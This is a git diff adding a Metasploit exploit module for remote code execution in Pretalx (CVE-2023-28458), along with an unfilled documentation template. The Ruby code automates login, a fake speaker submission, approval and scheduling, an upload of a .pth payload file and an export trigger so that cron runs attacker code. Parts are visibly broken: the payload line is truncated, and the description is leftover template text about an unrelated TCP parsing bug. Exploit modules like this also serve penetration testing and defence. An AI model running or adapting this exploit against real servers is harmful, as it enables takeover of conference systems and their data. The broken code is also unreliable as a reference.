diff --git a/documentation/modules/exploit/linux/http/pretalx_rce_cve_2023_28458.md b/documentation/modules/exploit/linux/http/pretalx_rce_cve_2023_28458.md new file mode 100644 index 0000000000000..8aae87977d9b0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pretalx_rce_cve_2023_28458.md @@ -0,0 +1,44 @@ +The following is the recommended format for module documentation. But feel free to add more content/sections to this. +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. + +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +code or console output +``` + +For example: + +To do this specific thing, here's how you do it: + +``` +msf > use module_name +msf auxiliary(module_name) > set POWERLEVEL >9000 +msf auxiliary(module_name) > exploit +``` diff --git a/modules/exploits/linux/http/pretalx_rce_cve_2023_28458.rb b/modules/exploits/linux/http/pretalx_rce_cve_2023_28458.rb new file mode 100644 index 0000000000000..fd0cbbb30dcb5 --- /dev/null +++ b/modules/exploits/linux/http/pretalx_rce_cve_2023_28458.rb @@ -0,0 +1,610 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pretalx Limited File Write to Remote Code Execution', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stefan Schiller', # security researcher + 'msutovsky-r7' # module dev + ], + 'References' => [ + [ 'URL', 'https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/'], + [ 'CVE', '2023-28458'] + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + + [ + 'All', + {} + ] + ], + 'DefaultOptions' => { 'WfsDelay' => 60 * 5 }, + 'DisclosureDate' => '2023-03-07', + 'DefaultTarget' => 0, + + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + register_options([ + OptString.new('USERNAME', [true, 'Username to Pretalx backend', '']), + OptString.new('PASSWORD', [true, 'Password to Pretalx backend', '']), + OptString.new('CONFERENCE_NAME', [true, 'Name of conference on behalf which file read will be performed', '']), + OptString.new('MEDIA_URL', [true, 'Prepend path to file path that allows arbitrary read', '/media']), + OptString.new('PYTHON_VERSION', [true, 'Python version running on target machine', 'python3.8']) + ]) + end + + def login + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'login/'), + 'keep_cookies' => true + }) + + fail_with Failure::NotVulnerable, 'Application might not be Pretalx' unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + fail_with Failure::UnexpectedReply, 'Could not find CSRF token' unless csrf_token + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('orga', 'login/'), + 'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'login_email' => datastore['USERNAME'], 'login_password' => datastore['PASSWORD'] }, + 'keep_cookies' => true + }) + + fail_with Failure::UnexpectedReply unless res.get_cookies =~ /pretalx_csrftoken=([a-zA-Z0-9]+);/ + + @pretalx_token = Regexp.last_match(1) + + return false unless res&.code == 302 + + true + end + + def approve_proposal + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'submissions/') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + html = res.get_html_document + + proposal_element = html.xpath('//td/a').find { |link| link.text.strip == @proposal_name } + + proposal_uri = proposal_element['href'] + + fail_with Failure::PayloadFailed unless proposal_uri =~ %r{/orga/event/#{datastore['CONFERENCE_NAME']}/submissions/([a-zA-Z0-9]+)/} + + @proposal_id = Regexp.last_match(1) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(proposal_uri) + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + html = res.get_html_document + + approval_link = html.at('a[@class="dropdown-item submission-state-accepted"]') + + approval_uri = approval_link['href'] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(approval_uri) + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + next_token = res.get_hidden_inputs.dig(0, 'next') + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(approval_uri), + 'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'next' => next_token } + }) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', @proposal_id, 'confirm') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', @proposal_id, 'confirm'), + 'vars_post' => { 'csrfmiddlewaretoken' => csrf_token } + }) + end + + def add_proposal_to_schedule + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'talks/') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + json_data = res.get_json_document + + proposal = json_data['results'].find { |l| l['title'] == @proposal_name } + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('api', 'events', datastore['CONFERENCE_NAME'], 'rooms/') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + rooms_json = res.get_json_document + rooms_json['results'].each do |value| + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'availabilities', proposal['id'], value['id']) + }) + next unless res&.code == 200 + + availability_json = res.get_json_document + + availability_json['results'].each do |timeslot| + schedule_slot = { 'room' => (value['id']).to_s, 'start' => timeslot['start'], 'duration' => 30, 'description' => '' } + + res = send_request_cgi({ + 'method' => 'PATCH', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'talks', "#{proposal['id']}/"), + 'data' => JSON.generate(schedule_slot), + 'headers' => { 'X-CSRFToken' => @pretalx_token } + }) + return true if res&.code == 200 + end + end + false + end + + def release_schedule + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'release') + }) + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + html = res.get_html_document + version = html.at('input[@id="id_version"]')['value'] + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'release'), + 'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'version' => version, 'comment_0' => '', 'notify_speakers' => 'off' } + }) + end + + def register_malicious_speaker + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'submit/') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 302 + submit_uri = res.headers.fetch('Location', nil) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(submit_uri), + 'keep_cookies' => true + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + submission_type = res.get_hidden_inputs.dig(0, 'submission_type') + res.get_hidden_inputs.dig(0, 'content_locale') + + fail_with Failure::Unknown unless submit_uri && csrf_token + + @proposal_name = Rex::Text.rand_text_alphanumeric(10) + + boundary = Rex::Text.rand_text_alphanumeric(16).to_s + data_post = "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"title\"\r\n\r\n" + data_post << "#{@proposal_name}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"submission_type\"\r\n\r\n" + data_post << "#{submission_type}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"content_locale\"\r\n\r\n" + data_post << "en\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"abstract\"\r\n\r\n" + data_post << %(#{Rex::Text.rand_text_alphanumeric(10)}\r\n) + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"description\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"notes\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"image\";filename=\"\"\r\n" + data_post << "Content-Type: application/octet-stream\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"additional_speaker\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(submit_uri), + 'data' => data_post, + 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}" + }) + + #=============================================================================== + + fail_with Failure::UnexpectedReply unless res&.code == 302 + + submit_uri = res.headers.fetch('Location', nil) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(submit_uri), + 'keep_cookies' => true + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + fail_with Failure::Unknown unless submit_uri && csrf_token + + boundary = Rex::Text.rand_text_alphanumeric(16).to_s + + data_post = "------WebKitFormBoundary#{boundary}\r\n" + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"login_email\"\r\n\r\n" + data_post << "#{datastore['USERNAME']}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"login_password\"\r\n\r\n" + data_post << "#{datastore['PASSWORD']}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"register_name\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"register_email\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"register_password\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"register_password_repeat\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + #================================================================================ + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(submit_uri), + 'data' => data_post, + 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}" + }) + + fail_with Failure::UnexpectedReply unless res&.code == 302 + + submit_uri = res.headers.fetch('Location', nil) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(submit_uri), + 'keep_cookies' => true + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + fail_with Failure::Unknown unless submit_uri && csrf_token + + boundary = Rex::Text.rand_text_alphanumeric(16).to_s + + data_post = "------WebKitFormBoundary#{boundary}\r\n" + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"avatar\";filename=\"\"\r\n" + data_post << "Content-Type: application/octet-stream\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"name\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(10)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"biography\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(10)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"availabilities\"\r\n\r\n" + data_post << %({"availabilities":[]}\r\n) + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + #============================================================================= + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(submit_uri), + 'data' => data_post, + 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}" + }) + + fail_with Failure::UnexpectedReply unless res&.code == 302 + end + + def get_submission_edit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', "#{@proposal_id}/") + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + res + end + + def add_resource + res = get_submission_edit + hidden_inputs = res.get_hidden_inputs + html = res.get_html_document + + csrf_token = hidden_inputs.dig(0, 'csrfmiddlewaretoken') + submission_type = html.at("select[@name='submission_type']//option[@selected]")['value'] + content_locale = hidden_inputs.dig(0, 'content_locale') + res_initial_forms = hidden_inputs.dig(0, 'resource-INITIAL_FORMS') + res_min_num_forms = hidden_inputs.dig(0, 'resource-MIN_NUM_FORMS') + res_max_num_forms = hidden_inputs.dig(0, 'resource-MAX_NUM_FORMS') + + boundary = Rex::Text.rand_text_alphanumeric(16).to_s + + data_post = "------WebKitFormBoundary#{boundary}\r\n" + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"title\"\r\n\r\n" + data_post << "#{@proposal_name}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"submission_type\"\r\n\r\n" + data_post << "#{submission_type}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"content_locale\"\r\n\r\n" + data_post << "#{content_locale}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"abstract\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(16)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"description\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(16)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"notes\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(16)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + data_post << "Content-Type: application/octet-stream\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-TOTAL_FORMS\"\r\n\r\n" + data_post << "1\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-INITIAL_FORMS\"\r\n\r\n" + data_post << "#{res_initial_forms}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-MIN_NUM_FORMS\"\r\n\r\n" + data_post << "#{res_min_num_forms}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-MAX_NUM_FORMS\"\r\n\r\n" + data_post << "#{res_max_num_forms}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-0-id\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"resource-0-description\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(4)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + resource_name = Rex::Text.rand_text_alphanumeric(5) + + data_post << "Content-Disposition: form-data; name=\"resource-0-resource\"; filename=\"#{resource_name}.pth\"\r\n" + data_post << "Content-Type: application/octet-stream\r\n\r\n" + data_post << % + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', "#{@proposal_id}/"), + 'data' => data_post, + 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}" + }) + + fail_with Failure::PayloadFailed unless res.body =~ /#{resource_name}_([a-zA-Z0-9]+)\.pth/ + + @full_resource_name = "#{resource_name}_#{Regexp.last_match(1)}.pth" + end + + def add_write_primitive + res = get_submission_edit + hidden_inputs = res.get_hidden_inputs + html = res.get_html_document + + csrf_token = hidden_inputs.dig(0, 'csrfmiddlewaretoken') + submission_type = html.at("select[@name='submission_type']//option[@selected]")['value'] + content_locale = hidden_inputs.dig(0, 'content_locale') + + boundary = Rex::Text.rand_text_alphanumeric(16).to_s + + data_post = "------WebKitFormBoundary#{boundary}\r\n" + data_post << "Content-Disposition: form-data; name=\"csrfmiddlewaretoken\"\r\n\r\n" + data_post << "#{csrf_token}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"title\"\r\n\r\n" + data_post << "#{@proposal_name}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"submission_type\"\r\n\r\n" + data_post << "#{submission_type}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"content_locale\"\r\n\r\n" + data_post << "#{content_locale}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"abstract\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(16)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"description\"\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"notes\"\r\n\r\n" + data_post << "#{Rex::Text.rand_text_alphanumeric(16)}\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + data_post << "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + data_post << "Content-Type: application/octet-stream\r\n\r\n" + data_post << "\r\n" + data_post << "------WebKitFormBoundary#{boundary}\r\n" + + send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', "#{@proposal_id}/"), + 'data' => data_post, + 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}" + }) + end + + def trigger_payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'export/') + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + + csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken') + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'export', 'trigger'), + 'vars_post' => { 'csrfmiddlewaretoken' => csrf_token } + }) + + fail_with Failure::UnexpectedReply unless res&.code == 200 + end + + def check + return Exploit::CheckCode::Unknown, 'Login failed, please check credentials' unless login + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('orga', 'event/'), + 'keep_cookies' => true + }) + + return Exploit::CheckCode::Detected unless res&.code == 200 + + html = res.get_html_document + + version_element = Rex::Version.new(html.at('span//a')&.text) + + return Exploit::CheckCode::Appears("Detected vulnerable version #{version_element}") if version_element <= Rex::Version.new('2.3.1') + + Exploit::CheckCode::Safe("Detected version #{version_element} is not vulnerable") + end + + def exploit + vprint_status('Registering malicious speaker and proposal') + register_malicious_speaker + + cookie_jar.clear + vprint_status('Logging into application') + fail_with Failure::NoAccess, 'Incorrect credentials' unless login + vprint_status('Approving proposal') + approve_proposal + + vprint_status('Uploading resource with payload') + add_resource + vprint_status('Inserts write primitve') + add_write_primitive + + vprint_status('Adding proposal to schedule') + add_proposal_to_schedule + vprint_status('Releasing schedule') + release_schedule + + vprint_status('Exporting schedule') + trigger_payload + vprint_status('Waiting for cron to run Python under Pretalx user') + end +end